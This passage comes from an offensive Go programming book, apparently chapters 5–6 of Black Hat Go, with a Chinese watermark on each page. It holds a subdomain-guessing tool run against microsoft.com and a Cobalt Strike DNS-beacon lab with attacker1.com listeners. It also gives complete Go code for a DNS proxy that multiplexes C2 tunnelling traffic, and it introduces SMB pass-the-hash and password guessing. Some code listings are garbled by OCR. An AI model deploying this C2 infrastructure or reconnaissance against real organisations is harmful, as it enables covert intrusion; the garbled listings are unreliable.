m.SetQuestion(dns.Fqdn(fqdn), dns.TypeA)
in, err := dns.Exchange(&m, serverAddr)
if err != nil {
return ips, err
}
if len(in.Answer) < 1 {
return ips, errors.New("no answer")
}
for _, answer := range in.Answer {
if a, ok := answer.(*dns.A); ok {
ips = append(ips, a.A.String())
return ips, nil
}
}
return ips, nil
}
func lookupCNAME(fqdn, serverAddr string) ([]string, error) {
var m dns.Msg
var fqdns []string
m.SetQuestion(dns.Fqdn(fqdn), dns.TypeCNAME)
in, err := dns.Exchange(&m, serverAddr)
if err != nil {
return fqdns, err
}
if len(in.Answer) < 1 {
前沿信安资讯阵地 公众号:i nf osrc
Exploiting DNS 115
return fqdns, errors.New("no answer")
}
for _, answer := range in.Answer {
if c, ok := answer.(*dns.CNAME); ok {
fqdns = append(fqdns, c.Target)
}
}
return fqdns, nil
}
func lookup(fqdn, serverAddr string) []result {
var results []result
var cfqdn = fqdn // Don't modify the original.
For {
cnames, err := lookupCNAME(cfqdn, serverAddr)
if err == nil && len(cnames) > 0 {
cfqdn = cnames[0]
continue // We have to process the next CNAME.
}
ips, err := lookupA(cfqdn, serverAddr)
if err != nil {
break // There are no A records for this hostname.
}
for _, ip := range ips {
results = append(results, result{IPAddress: ip, Hostname: fqdn})
}
break // We have processed all the results.
}
return results
}
func worker(tracker chan empty, fqdns chan string, gather chan []result, serverAddr string) {
for fqdn := range fqdns {
results := lookup(fqdn, serverAddr)
if len(results) > 0 {
gather <- results
}
}
var e empty
tracker <- e
}
type empty struct{}
type result struct {
IPAddress string
Hostname string
}
func main() {
var (
flDomain = flag.String("domain", "", "The domain to perform guessing against.")
flWordlist = flag.String("wordlist", "", "The wordlist to use for guessing.")
flWorkerCount = flag.Int("c", 100, "The amount of workers to use.")
flServerAddr = flag.String("server", "8.8.8.8:53", "The DNS server to use.")
前沿信安资讯阵地 公众号:i nf osrc
116 Chapter 5
)
flag.Parse()
if *flDomain == "" || *flWordlist == "" {
fmt.Println("-domain and -wordlist are required")
os.Exit(1)
}
var results []result
fqdns := make(chan string, *flWorkerCount)
gather := make(chan []result)
tracker := make(chan empty)
fh, err := os.Open(*flWordlist)
if err != nil {
panic(err)
}
defer fh.Close()
scanner := bufio.NewScanner(fh)
for I := 0; i < *flWorkerCount; i++ {
go worker(tracker, fqdns, gather, *flServerAddr)
}
for scanner.Scan() {
fqdns <- fmt.Sprintf"%s.%", scanner.Text(), *flDomain)
}
// Note: We could check scanner.Err() here.
go func() {
for r := range gather {
results = append(results, I.)
}
var e empty
tracker <- e
}()
close(fqdns)
for i := 0; i < *flWorkerCount; i++ {
<-tracker
}
close(gather)
<-tracker
w := tabwriter.NewWriter(os.Stdout, 0, 8' ', ' ', 0)
for _, r := range results {
fmt.Fprint"(w, "%s\"%s\n", r.Hostname, r.IPAddress)
}
w.Flush()
}
Listing 5-4: The complete subdomain-guessing program (/ch-5/subdomain_guesser/main.go)
前沿信安资讯阵地 公众号:i nf osrc
Exploiting DNS 117
Your subdomain-guessing program is complete! You should now be
able to build and execute your shiny new subdomain-guessing tool. Try it
with word lists or dictionary files in open source repositories (you can find
plenty with a Google search). Play around with the number of workers; you
may find that if you go too fast, you’ll get varying results. Here’s a run from
the authors’ system using 100 workers:
$ wc -l namelist.txt
1909 namelist.txt
$ time ./subdomain_guesser -domain microsoft.com -wordlist namelist.txt -c 1000
ajax.microsoft.com 72.21.81.200
buy.microsoft.com 157.56.65.82
news.microsoft.com 192.230.67.121
applications.microsoft.com 168.62.185.179
sc.microsoft.com 157.55.99.181
open.microsoft.com 23.99.65.65
ra.microsoft.com 131.107.98.31
ris.microsoft.com 213.199.139.250
smtp.microsoft.com 205.248.106.64
wallet.microsoft.com 40.86.87.229
jp.microsoft.com 134.170.185.46
ftp.microsoft.com 134.170.188.232
develop.microsoft.com 104.43.195.251
./subdomain_guesser -domain microsoft.com -wordlist namelist.txt -c 1000 0.23s
user 0.67s system 22% cpu 4.040 total
You’ll see that the output shows several FQDNs and their IP addresses.
We were able to guess the subdomain values for each result based off the
word list provided as an input file.
Now that you’ve built your own subdomain-guessing tool and learned
how to resolve hostnames and IP addresses to enumerate different DNS
records, you’re ready to write your own DNS server and proxy.
Writing DNS Servers
As Yoda said, “Always two there are, no more, no less.” Of course, he was
talking about the client-server relationship, and since you’re a master of
clients, now is the time to become a master of servers. In this section, you’ll
use the Go DNS package to write a basic server and a proxy. You can use DNS
servers for several nefarious activities, including but not limited to tunneling
out of restrictive networks and conducting spoofing attacks by using fake
wireless access points.
Before you begin, you’ll need to set up a lab environment. This lab
environment will allow you to simulate realistic scenarios without having to
own legitimate domains and use costly infrastructure, but if you’d like to
register domains and use a real server, please feel free to do so.
前沿信安资讯阵地 公众号:i nf osrc
118 Chapter 5
Lab Setup and Server Introduction
Your lab consists of two virtual machines (VMs): a Microsoft Windows
VM to act as client and an Ubuntu VM to act as server. This example uses
VMWare Workstation along with Bridged network mode for each machine;
you can use a private virtual network, but make sure that both machines
are on the same network. Your server will run two Cobalt Strike Docker
instances built from the official Java Docker image (Java is a prerequisite
for Cobalt Strike). Figure 5-1 shows what your lab will look like.
Client
Server
Microsoft Windows
Ubuntu Linux
DNS
Docker
Java
Cobalt strike 1
Java
Cobalt strike 2
Figure 5-1: The lab setup for creating your DNS server
First, create the Ubuntu VM. To do this, we’ll use version 16.04.1 LTS.
No special considerations need to be made, but you should configure the VM
with at least 4 gigabytes of memory and two CPUs. You can use an existing
VM or host if you have one. After the operating system has been installed,
you’ll want to install a Go development environment (see Chapter 1).
Once you’ve created the Ubuntu VM, install a virtualization container
utility called Docker. In the proxy section of this chapter, you’ll use Docker
to run multiple instances of Cobalt Strike. To install Docker, run the follow-
ing in your terminal window:
$ sudo apt-get install apt-transport-https ca-certificates
sudo apt-key adv \
--keyserver hkp://ha.pool.sks-keyservers.net:80 \
--recv-keys 58118E89F3A912897C070ADBF76221572C52609D
$ echo "deb https://apt.dockerproject.org/repo ubuntu-xenial main" | sudo tee
/etc/apt/sources.list.d/docker.list
$ sudo apt-get update
$ sudo apt-get install linux-image-extra-$(uname -r) linux-image-extra-virtual
$ sudo apt-get install docker-engine
$ sudo service docker start
$ sudo usermod -aG docker USERNAME
After installing, log out and log back into your system. Next, verify that
Docker has been installed by running the following command:
$ docker version
Client:
Version: 1.13.1
API version: 1.26
前沿信安资讯阵地 公众号:i nf osrc
Exploiting DNS 119
Go version: go1.7.5
Git commit: 092cba3
Built: Wed Feb 5 06:50:14 2020
OS/Arch: linux/amd64
With Docker installed, use the following command to download a Java
image. This command pulls down the base Docker Java image but doesn’t
create any containers. You’re doing this to prepare for your Cobalt Strike
builds shortly.
$ docker pull java
Finally, you need to ensure that dnsmasq isn’t running, because it listens
on port 53. Otherwise, your own DNS servers won’t be able to operate, since
they’re expected to use the same port. Kill the process by ID if it’s running:
$ ps -ef | grep dnsmasq
nobody 3386 2020 0 12:08
$ sudo kill 3386
Now create a Windows VM. Again, you can use an existing machine
if available. You don’t need any special settings; minimal settings will do.
Once the system is functional, set the DNS server to the IP address of the
Ubuntu system.
To test your lab setup and to introduce you to writing DNS servers, start
by writing a basic server that returns only A records. In your GOPATH on the
Ubuntu system, create a new directory called github.com/blackhat-go/bhg/ch-5
/a_server and a file to hold your main.go code. Listing 5-5 shows the entire
code for creating a simple DNS server.
package main
import (
"log"
"net"
"github.com/miekg/dns"
)
func main() {
u dns.HandleFunc(".", func(w dns.ResponseWriter, req *dns.Msg) {
v var resp dns.Msg
resp.SetReply(req)
for _, q := range req.Question {
w a := dns.A{
Hdr: dns.RR_Header{
Name: q.Name,
Rrtype: dns.TypeA,
Class: dns.ClassINET,
Ttl: 0,
},
A: net.ParseIP("127.0.0.1").To4(),
前沿信安资讯阵地 公众号:i nf osrc
120 Chapter 5
}
x resp.Answer = append(resp.Answer, &a)
}
y w.WriteMsg(&resp)
})
z log.Fatal(dns.ListenAndServe(":53", "udp", nil))
}
Listing 5-5: Writing a DNS server (/ch-5/a_server /main.go)
The server code starts with a call to HandleFunc() u; it looks a lot like
the net/http package. The function’s first argument is a query pattern to
match. You’ll use this pattern to indicate to the DNS servers which requests
will be handled by the supplied function. By using a period, you’re telling
the server that the function you supply in the second argument will handle
all requests.
The next argument passed to HandleFunc() is a function containing the
logic for the handler. This function receives two arguments: a ResponseWriter
and the request itself. Inside the handler, you start by creating a new mes-
sage and setting the reply v. Next, you create an answer for each question,
using an A record, which implements the RR interface. This portion will vary
depending on the type of answer you’re looking for w. The pointer to the A
record is appended to the response’s Answer field by using append() x. With
the response complete, you can write this message to the calling client by
using w.WriteMsg() y. Finally, to start the server, ListenAndServe() is called z.
This code resolves all requests to an IP address of 127.0.0.1.
Once the server is compiled and started, you can test it by using dig.
Confirm that the hostname for which you’re querying resolves to 127.0.0.1.
That indicates it’s working as designed.
$ dig @localhost facebook.com
; <<>> DiG 9.10.3-P4-Ubuntu <<>> @localhost facebook.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33594
;; flags: qr rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; WARNING: recursion requested but not available
;; QUESTION SECTION:
;facebook.com.
IN
A
;; ANSWER SECTION:
facebook.com.
0
IN
A
127.0.0.1
;; Query time: 0 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Sat Dec 19 13:13:45 MST 2020
;; MSG SIZE rcvd: 58
前沿信安资讯阵地 公众号:i nf osrc
Exploiting DNS 121
Note that the server will need to be started with sudo or a root account,
because it listens on a privileged port—port 53. If the server doesn’t start,
you may need to kill dnsmasq.
Creating DNS Server and Proxy
DNS tunneling, a data exfiltration technique, can be a great way to establish
a C2 channel out of networks with restrictive egress controls. If using an
authoritative DNS server, an attacker can route through an organization’s
own DNS servers and out through the internet without having to make a
direct connection to their own infrastructure. Although slow, it’s difficult to
defend against. Several open source and proprietary payloads perform DNS
tunneling, one of which is Cobalt Strike’s Beacon. In this section, you’ll write
your own DNS server and proxy and learn how to multiplex DNS tunneling
C2 payloads by using Cobalt Strike.
Configuring Cobalt Strike
If you’ve ever used Cobalt Strike, you may have noticed that, by default, the
teamserver listens on port 53. Because of this, and by the recommendation
of the documentation, only a single server should ever be run on a system,
maintaining a one-to-one ratio. This can become problematic for medium-
to-large teams. For example, if you have 20 teams conducting offensive
engagements against 20 separate organizations, standing up 20 systems
capable of running the teamserver could be difficult. This problem isn’t
unique to Cobalt Strike and DNS; it’s applicable to other protocols, includ-
ing HTTP payloads, such as Metasploit Meterpreter and Empire. Although
you could establish listeners on a variety of completely unique ports, there’s
a greater probability of egressing traffic over common ports such as TCP
80 and 443. So the question becomes, how can you and other teams share
a single port and route to multiple listeners? The answer is with a proxy, of
course. Back to the lab.
N O T E
In real engagements, you’d want to have multiple levels of subterfuge, abstraction,
and forwarding to disguise the location of your teamserver. This can be done using
UDP and TCP forwarding through small utility servers using various hosting pro-
viders. The primary teamserver and proxy can also run on separate systems, having
the teamserver cluster on a large system with plenty of RAM and CPU power.
Let’s run two instances of Cobalt Strike’s teamserver in two Docker con-
tainers. This allows the server to listen on port 53 and lets each teamserver
have what will effectively be their own system and, consequently, their own
IP stack. You’ll use Docker’s built-in networking mechanism to map UDP
ports to the host from the container. Before you begin, download a trial ver-
sion of Cobalt Strike at https://trial.cobaltstrike.com/. After following the trial
sign-up instructions, you should have a fresh tarball in your download direc-
tory. You’re now ready to start the teamservers.
前沿信安资讯阵地 公众号:i nf osrc
122 Chapter 5
Execute the following in a terminal window to start the first container:
$ docker run --rmu -itv -p 2020:53w -p 50051:50050x -vy full path to
cobalt strike download:/dataz java{ /bin/bash|
This command does several things. First, you tell Docker to remove
the container after it exits u, and that you’d like to interact with it after
starting v. Next, you map port 2020 on your host system to port 53 in the
container w, and port 50051 to port 50050 x. Next, you map the directory
containing the Cobalt Strike tarball y to the data directory on the con-
tainer z. You can specify any directory you want and Docker will happily
create it for you. Finally, provide the image you want to use (in this case,
Java) { and the command | you’d like to execute on startup. This should
leave you with a bash shell in the running Docker container.
Once inside the Docker container, start the teamserver by executing
the following commands:
$ cd /root
$ tar -zxvf /data/cobaltstrike-trial.tgz
$ cd cobaltstrike
$ ./teamserver <IP address of host> <some password>
The IP address provided should be that of your actual VM, not the IP
address of the container.
Next, open a new terminal window on the Ubuntu host and change
into the directory containing the Cobalt Strike tarball. Execute the follow-
ing commands to install Java and start the Cobalt Strike client:
$ sudo add-apt-repository ppa:webupd8team/java
$ sudo apt update
$ sudo apt install oracle-java8-installer
$ tar -zxvf cobaltstrike-trial.tgz
$ cd cobaltstrike
$ ./cobaltstrike
The GUI for Cobalt Strike should start up. After clearing the trial mes-
sage, change the teamserver port to 50051 and set your username and pass-
word accordingly.
You’ve successfully started and connected to a server running completely
in Docker! Now, let’s start a second server by repeating the same process.
Follow the previous steps to start a new teamserver. This time, you’ll map
different ports. Incrementing the ports by one should do the trick and is
logical. In a new terminal window, execute the following command to start
a new container and listen on ports 2021 and 50052:
$ docker run --rm -it -p 2021:53 -p 50052:50050-v full path to cobalt strike
download:/data java /bin/bash
前沿信安资讯阵地 公众号:i nf osrc
Exploiting DNS 123
From the Cobalt Strike client, create a new connection by selecting
Cobalt StrikeNew Connection, modifying the port to 50052, and select-
ing Connect. Once connected, you should see two tabs at the bottom of the
console, which you can use to switch between servers.
Now that you’ve successfully connected to the two teamservers,
you should start two DNS listeners. To create a listener, select Configure
Listeners from the menu; its icon looks like a pair of headphones. Once
there, select Add from the bottom menu to bring up the New Listener
window. Enter the following information:
•
Name: DNS 1
•
Payload: windows/beacon_dns/reverse_dns_txt
•
Host: <IP address of host>
•
Port: 0
In this example, the port is set to 80, but your DNS payload still uses
port 53, so don’t worry. Port 80 is specifically used for hybrid payloads.
Figure 5-2 shows the New Listener window and the information you should
be entering.
Figure 5-2: Adding a new listener
Next, you’ll be prompted to enter the domains to use for beaconing,
as shown in Figure 5-3.
Enter the domain attacker1.com as the DNS beacon, which should be the
domain name to which your payload beacons. You should see a message indi-
cating that a new listener has started. Repeat the process within the other
teamserver, using DNS 2 and attacker2.com. Before you start using these two
listeners, you’ll need to write an intermediary server that inspects the DNS
messages and routes them appropriately. This, essentially, is your proxy.
前沿信安资讯阵地 公众号:i nf osrc
124 Chapter 5
Figure 5-3: Adding the DNS beacon’s domain
Creating a DNS Proxy
The DNS package you’ve been using throughout this chapter makes writing
an intermediary function easy, and you’ve already used some of these func-
tions in previous sections. Your proxy needs to be able to do the following:
•
Create a handler function to ingest an incoming query
•
Inspect the question in the query and extract the domain name
•
Identify the upstream DNS server correlating to the domain name
•
Exchange the question with the upstream DNS server and write the
response to the client
Your handler function could be written to handle attacker1.com and
attacker2.com as static values, but that’s not maintainable. Instead, you
should look up records from a resource external to the program, such as
a database or a configuration file. The following code does this by using
the format of domain,server, which lists the incoming domain and upstream
server separated by a comma. To start your program, create a function that
parses a file containing records in this format. The code in Listing 5-6
should be written into a new file called main.go.
package main
import (
"bufio"
"fmt"
"os"
"strings"
)
前沿信安资讯阵地 公众号:i nf osrc
Exploiting DNS 125
u func parse(filename string) (map[string]stringv, error) {
records := make(map[string]string)
fh, err := os.Open(filename)
if err != nil {
return records, err
}
defer fh.Close()
scanner := bufio.NewScanner(fh)
for scanner.Scan() {
line := scanner.Text()
parts := strings.SplitN(line, ",", 2)
if len(parts) < 2 {
return records, fmt.Errorf("%s is not a valid line", line)
}
records[parts[0]] = parts[1]
}
return records, scanner.Err()
}
func main() {
records, err := parse("proxy.config")
if err != nil {
panic(err)
}
fmt.Printf("%+v\n", records)
}
Listing 5-6: Writing a DNS proxy (/ch-5/dns_proxy /main.go)
With this code, you first define a function u that parses a file containing
the configuration information and returns a map[string]string v. You’ll use
that map to look up the incoming domain and retrieve the upstream server.
Enter the first command in the following code into your terminal win-
dow, which will write the string after echo into a file called proxy.config. Next,
you should compile and execute dns_proxy.go.
$ echo 'attacker1.com,127.0.0.1:2020\nattacker2.com,127.0.0.1:2021' > proxy.config
$ go build
$ ./dns_proxy
map[attacker1.com:127.0.0.1:2020 attacker2.com:127.0.0.1:2021]
What are you looking at here? The output is the mapping between
teamserver domain names and the port on which the Cobalt Strike DNS
server is listening. Recall that you mapped ports 2020 and 2021 to port 53
on your two separate Docker containers. This is a quick and dirty way for
you to create basic configuration for your tool so you don’t have to store it
in a database or other persistent storage mechanism.
With a map of records defined, you can now write the handler func-
tion. Let’s refine your code, adding the following to your main() function.
It should follow the parsing of your config file.
前沿信安资讯阵地 公众号:i nf osrc
126 Chapter 5
u dns.HandleFunc(".",func(w dns.ResponseWriter, req *dns.Msg)v {
w if len(req.Question) < 1 {
dns.HandleFailed(w, req)
return
}
x name := req.Question[0].Name
parts := strings.Split(name, ".")
if len(parts) > 1 {
y name = strings.Join(parts[len(parts)-2:], ".")
}
z match, ok:= records[name]
if !ok {
dns.HandleFailed(w, req)
return
}
{ resp, err := dns.Exchange(req, match)
if err != nil {
dns.HandleFailed(w, req)
return
}
| if err := w.WriteMsg(resp); err != nil {
dns.HandleFailed(w, req)
return
}
})
} log.Fatal(dns.ListenAndServe(":53", "udp", nil))
To begin, call HandleFunc() with a period to handle all incoming
requests u, and define an anonymous function v, which is a function that
you don’t intend to reuse (it has no name). This is good design when you
have no intention to reuse a block of code. If you intend to reuse it, you
should declare and call it as a named function. Next, inspect the incoming
questions slice to ensure that at least one question is provided w, and if not,
call HandleFailed() and return to exit the function early. This is a pattern used
throughout the handler. If at least a single question does exist, you can safely
pull the requested name from the first question x. Splitting the name by a
period is necessary to extract the domain name. Splitting the name should
never result in a value less than 1, but you should check it to be safe. You
can grab the tail of the slice—the elements at the end of the slice—by using
the slice operator on the slice y. Now, you need to retrieve the upstream
server from the records map.
Retrieving a value from a map z can return one or two variables. If the
key (in our case, a domain name) is present on the map, it will return the
corresponding value. If the domain isn’t present, it will return an empty
string. You could check if the returned value is an empty string, but that
would be inefficient when you start working with types that are more com-
plex. Instead, assign two variables: the first is the value for the key, and the
second is a Boolean that returns true if the key is found. After ensuring a
match, you can exchange the request with the upstream server {. You’re
simply making sure that the domain name for which you’ve received the
前沿信安资讯阵地 公众号:i nf osrc
Exploiting DNS 127
request is configured in your persistent storage. Next, write the response
from the upstream server to the client |. With the handler function
defined, you can start the server }. Finally, you can now build and start
the proxy.
With the proxy running, you can test it by using the two Cobalt Strike
listeners. To do this, first create two stageless executables. From Cobalt
Strike’s top menu, click the icon that looks like a gear, and then change
the output to Windows Exe. Repeat this process from each teamserver.
Copy each of these executables to your Windows VM and execute them.
The DNS server of your Windows VM should be the IP address of your
Linux host. Otherwise, the test won’t work.
It may take a moment or two, but eventually you should see a new beacon
on each teamserver. Mission accomplished!
Finishing Touches
This is great, but when you have to change the IP address of your teamserver
or redirector, or if you have to add a record, you’ll have to restart the server
as well. Your beacons would likely survive such an action, but why take the
risk when there’s a much better option? You can use process signals to tell
your running program that it needs to reload the configuration file. This is
a trick that I first learned from Matt Holt, who implemented it in the great
Caddy Server. Listing 5-7 shows the program in its entirety, complete with
process signaling logic:
package main
import (
"bufio"
"fmt"
"log"
"os"
"os/signal"
"strings"
"sync"
"syscall"
"github.com/miekg/dns"
)
func parse(filename string) (map[string]string, error) {
records := make(map[string]string)
fh, err := os.Open(filename)
if err != nil {
return records, err
}
defer fh.Close()
scanner := bufio.NewScanner(fh)
for scanner.Scan() {
line := scanner.Text()
parts := strings.SplitN(line, ",", 2)
前沿信安资讯阵地 公众号:i nf osrc
128 Chapter 5
if len(parts) < 2 {
return records, fmt.Errorf("%s is not a valid line", line)
}
records[parts[0]] = parts[1]
}
log.Println("records set to:")
for k, v := range records {
fmt.Printf("%s -> %s\n", k, v)
}
return records, scanner.Err()
}
func main() {
u var recordLock sync.RWMutex
records, err := parse("proxy.config")
if err != nil {
panic(err)
}
dns.HandleFunc(".", func(w dns.ResponseWriter, req *dns.Msg) {
if len(req.Question) == 0 {
dns.HandleFailed(w, req)
return
}
fqdn := req.Question[0].Name
parts := strings.Split(fqdn, ".")
if len(parts) >= 2 {
fqdn = strings.Join(parts[len(parts)-2:], ".")
}
v recordLock.RLock()
match := records[fqdn]
w recordLock.RUnlock()
if match == "" {
dns.HandleFailed(w, req)
return
}
resp, err := dns.Exchange(req, match)
if err != nil {
dns.HandleFailed(w, req)
return
}
if err := w.WriteMsg(resp); err != nil {
dns.HandleFailed(w, req)
return
}
})
x go func() {
y sigs := make(chan os.Signal, 1)
z signal.Notify(sigs, syscall.SIGUSR1)
for sig := range sigs {
{ switch sig {
前沿信安资讯阵地 公众号:i nf osrc
Exploiting DNS 129
case syscall.SIGUSR1:
log.Println("SIGUSR1: reloading records")
| recordLock.Lock()
parse("proxy.config")
} recordLock.Unlock()
}
}
}()
log.Fatal(dns.ListenAndServe(":53", "udp", nil))
}
Listing 5-7: Your completed proxy (/ch-5/dns_proxy /main.go)
There are a few additions. Since the program is going to be modifying
a map that could be in use by concurrent goroutines, you’ll need to use a
mutex to control access.1 A mutex prevents concurrent execution of sensitive
code blocks, allowing you to lock and unlock access. In this case, you can
use RWMutex u, which allows any goroutine to read without locking the others
out, but will lock the others out when a write is occurring. Alternatively,
implementing goroutines without a mutex on your resource will introduce
interleaving, which could result in race conditions or worse.
Before accessing the map in your handler, call RLock v to read a value
to match; after the read is complete, RUnlock w is called to release the map
for the next goroutine. In an anonymous function that’s running within
a new goroutine x, you begin the process of listening for a signal. This is
done using a channel of type os.Signal y, which is provided in the call to
signal.Notify() z along with the literal signal to be consumed by the SIGUSR1
channel, which is a signal set aside for arbitrary purposes. In a loop over the
signals, use a switch statement { to identify the type of signal that has been
received. You’re configuring only a single signal to be monitored, but in
the future you might change this, so this is an appropriate design pattern.
Finally, Lock() | is used prior to reloading the running configuration to
block any goroutines that may be trying to read from the record map. Use
Unlock() } to continue execution.
Let’s test this program by starting the proxy and creating a new listener
within an existing teamserver. Use the domain attacker3.com. With the proxy
running, modify the proxy.config file and add a new line pointing the domain
to your listener. You can signal the process to reload its configuration by
using kill, but first use ps and grep to identify the process ID.
$ ps -ef | grep proxy
$ kill -10 PID
The proxy should reload. Test it by creating and executing a new stage-
less executable. The proxy should now be functional and production ready.
1. Go versions 1.9 and newer contain a concurrent-safe type, sync.Map, that may be used to
simplify your code.
前沿信安资讯阵地 公众号:i nf osrc
130 Chapter 5
Summary
Although this concludes the chapter, you still have a world of possibilities
for your code. For example, Cobalt Strike can operate in a hybrid fashion,
using HTTP and DNS for different operations. To do this, you’ll have to
modify your proxy to respond with the listener’s IP for A records; you’ll also
need to forward additional ports to your containers. In the next chapter,
you’ll delve into the convoluted craziness that is SMB and NTLM. Now,
go forth and conquer!
前沿信安资讯阵地 公众号:i nf osrc
In the previous chapters, you examined
various common protocols used for network
communication, including raw TCP, HTTP,
and DNS. Each of these protocols has interesting
use cases for attackers. Although an extensive number
of other network protocols exist, we’ll conclude our
discussion of network protocols by examining Server Message Block (SMB),
a protocol that arguably proves to be the most useful during Windows
post-exploitation.
SMB is perhaps the most complicated protocol you’ll see in this book.
It has a variety of uses, but SMB is commonly used for sharing resources such
as files, printers, and serial ports across a network. For the offensive-minded
reader, SMB allows interprocess communications between distributed net-
work nodes via named pipes. In other words, you can execute arbitrary com-
mands on remote hosts. This is essentially how PsExec, a Windows tool that
executes remote commands locally, works.
6
IN T E R AC T ING W I T H
S M B A N D N T L M
前沿信安资讯阵地 公众号:i nf osrc
132 Chapter 6
SMB has several other interesting use cases, particularly due to the way
it handles NT LAN Manager (NTLM) authentication, a challenge-response
security protocol used heavily on Windows networks. These uses include
remote password guessing, hash-based authentication (or pass-the-hash),
SMB relay, and NBNS/LLMNR spoofing. Covering each of these attacks
would take an entire book.
We’ll begin this chapter with a detailed explanation of how to imple-
ment SMB in Go. Next, you’ll leverage the SMB package to perform remote
password guessing, use the pass-the-hash technique to successfully authen-
ticate yourself by using only a password’s hash, and crack the NTLMv2 hash
of a password.
The SMB Package
At the time of this writing, no official SMB package exists in Go, but we
created a package where you can find the book-friendly version at https://
github.com/blackhat-go/bhg/blob/master/ch-6/smb/. Although we won’t show
you every detail of this package in this chapter, you’ll still learn the basics
of interpreting the SMB specification in order to create the binary com-
munications necessary to “speak SMB,” unlike in previous chapters, where
you simply reused fully compliant packages. You’ll also learn how to use a
technique called reflection to inspect interface data types at runtime and
define arbitrary Go structure field tags to marshal and unmarshal com-
plicated, arbitrary data, while maintaining scalability for future message
structures and data types.
While the SMB library we’ve built allows only basic client-side commu-
nications, the codebase is fairly extensive. You’ll see relevant examples from
the SMB package so that you can fully understand how communications
and tasks, such as SMB authentication, work.
Understanding SMB
SMB is an application-layer protocol, like HTTP, that allows network nodes
to communicate with one another. Unlike HTTP 1.1, which communicates
using ASCII-readable text, SMB is a binary protocol that uses a combina-
tion of fixed- and variable-length, positional, and little-endian fields. SMB
has several versions, also known as dialects—that is, versions 2.0, 2.1, 3.0,
3.0.2, and 3.1.1. Each dialect performs better than its predecessors. Because
the handling and requirements vary from one dialect to the next, a client
and server must agree on which dialect to use ahead of time. They do this
during an initial message exchange.
Generally, Windows systems support multiple dialects and choose the
most current dialect that both the client and server support. Microsoft has
provided Table 6-1, which shows which Windows versions select which dia-
lect during the negotiation process. (Windows 10 and WS 2016—not shown
in the graphic—negotiate SMB version 3.1.1.)
前沿信安资讯阵地 公众号:i nf osrc
Interacting with SMB and NTLM 133
Table 6-1: SMB Dialects Negotiated By Windows Versions
Operating
system
Windows 8.1
WS 2012 R2
Windows 8
WS 2012
Windows 7
WS 2008 R2
Windows Vista
WS 2008
Previous
versions
Windows 8.1
WS 2012 R2
SMB 3.02
SMB 3.0
SMB 2.1
SMB 2.0
SMB 1.0
Windows 8
WS 2012
SMB 3.0
SMB 3.0
SMB 2.1
SMB 2.0
SMB 1.0
Windows 7
WS 2008 R2
SMB 2.1
SMB 2.1
SMB 2.1
SMB 2.0
SMB 1.0
Windows Vista
WS 2008
SMB 2.0
SMB 2.0
SMB 2.0
SMB 2.0
SMB 1.0
Previous
versions
SMB 1.0
SMB 1.0
SMB 1.0
SMB 1.0
SMB 1.0
For this chapter, you’ll use the SMB 2.1 dialect, because most modern
Windows versions support it.
Understanding SMB Security Tokens
SMB messages contain security tokens used to authenticate users and machines
across a network. Much like the process of selecting the SMB dialect, select-
ing the authentication mechanism takes place through a series of Session
Setup messages, which allow clients and servers to agree on a mutually sup-
ported authentication type. Active Directory domains commonly use NTLM
Security Support Provider (NTLMSSP), a binary, positional protocol that uses
NTLM password hashes in combination with challenge-response tokens in
order to authenticate users across a network. Challenge-response tokens are
like the cryptographic answer to a question; only an entity that knows the
correct password can answer the question correctly. Although this chapter
focuses solely on NTLMSSP, Kerberos is another common authentication
mechanism.
Separating the authentication mechanism from the SMB specification
itself allows SMB to use different authentication methods in different envi-
ronments, depending on domain and enterprise security requirements as
well as client-server support. However, separating the authentication and
the SMB specification makes it more difficult to create an implementation
in Go, because the authentication tokens are Abstract Syntax Notation One
(ASN.1) encoded. For this chapter, you don’t need to know too much about
ASN.1—just know that it’s a binary encoding format that differs from the
positional binary encoding you’ll use for general SMB. This mixed encod-
ing adds complexity.
Understanding NTLMSSP is crucial to creating an SMB implemen-
tation that is smart enough to marshal and unmarshal message fields
selectively, while accounting for the potential that adjacent fields—within
a single message—may be encoded or decoded differently. Go has stan-
dard packages that you can use for binary and ASN.1 encoding, but Go’s
前沿信安资讯阵地 公众号:i nf osrc
134 Chapter 6
ASN.1 package wasn’t built for general-purpose use; so you must take into
account a few nuances.
Setting Up an SMB Session
The client and server perform the following process to successfully set up
an SMB 2.1 session and choose the NTLMSSP dialect:
1. The client sends a Negotiate Protocol request to the server. The mes-
sage includes a list of dialects that the client supports.
2. The server responds with a Negotiate Protocol response message, which
indicates the dialect the server selected. Future messages will use that
dialect. Included in the response is a list of authentication mechanisms
the server supports.
3. The client selects a supported authentication type, such as NTLMSSP,
and uses the information to create and send a Session Setup request
message to the server. The message contains an encapsulated security
structure indicating that it’s an NTLMSSP Negotiate request.
4. The server replies with a Session Setup response message. This message
indicates that more processing is required and includes a server chal-
lenge token.
5. The client calculates the user’s NTLM hash—which uses the domain,
user, and password as inputs—and then uses it in combination with
the server challenge, random client challenge, and other data to gen-
erate the challenge response. It includes this in a new Session Setup
request message that the client sends to the server. Unlike the message
sent in step 3, the encapsulated security structure indicates that it’s an
NTLMSSP Authenticate request. This way, the server can differentiate
between the two Session Setup SMB requests.
6. The server interacts with an authoritative resource, such as a domain
controller for authentication using domain credentials, to compare the
challenge-response information the client supplied with the value the
authoritative resource calculated. If they match, the client is authenti-
cated. The server sends a Session Setup response message back to the
client, indicating that login was successful. This message contains a
unique session identifier that the client can use to track session state.
7.
The client sends additional messages to access file shares, named pipes,
printers, and so on; each message includes the session identifier as a
reference through which the server can validate the authentication
status of the client.
You might now begin to see how complicated SMB is and understand
why there is neither a standard nor a third-party Go package that imple-
ments the SMB specification. Rather than take a comprehensive approach
and discuss every nuance of the libraries we created, let’s focus on a few
of the structures, messages, or unique aspects that can help you imple-
ment your own versions of well-defined networking protocols. Instead of
前沿信安资讯阵地 公众号:i nf osrc
Interacting with SMB and NTLM 135
extensive code listings, this chapter discusses only the good stuff, sparing
you from information overload.
You can use the following relevant specifications as a reference, but
don’t feel obligated to read each one. A Google search will let you find the
latest revisions.
MS-SMB2 The SMB2 specification to which we attempted to conform.
This is the main specification of concern and encapsulates a Generic
Security Service Application Programming Interface (GSS-API) struc-
ture for performing authentication.
MS-SPNG and RFC 4178 The GSS-API specification within which the
MS-NLMP data is encapsulated. The structure is ASN.1 encoded.
MS-NLMP The specification used for understanding NTLMSSP
authentication token structure and challenge-response format. It
includes formulas and specifics for calculating things like the NTLM
hash and authentication response token. Unlike the outer GSS-API
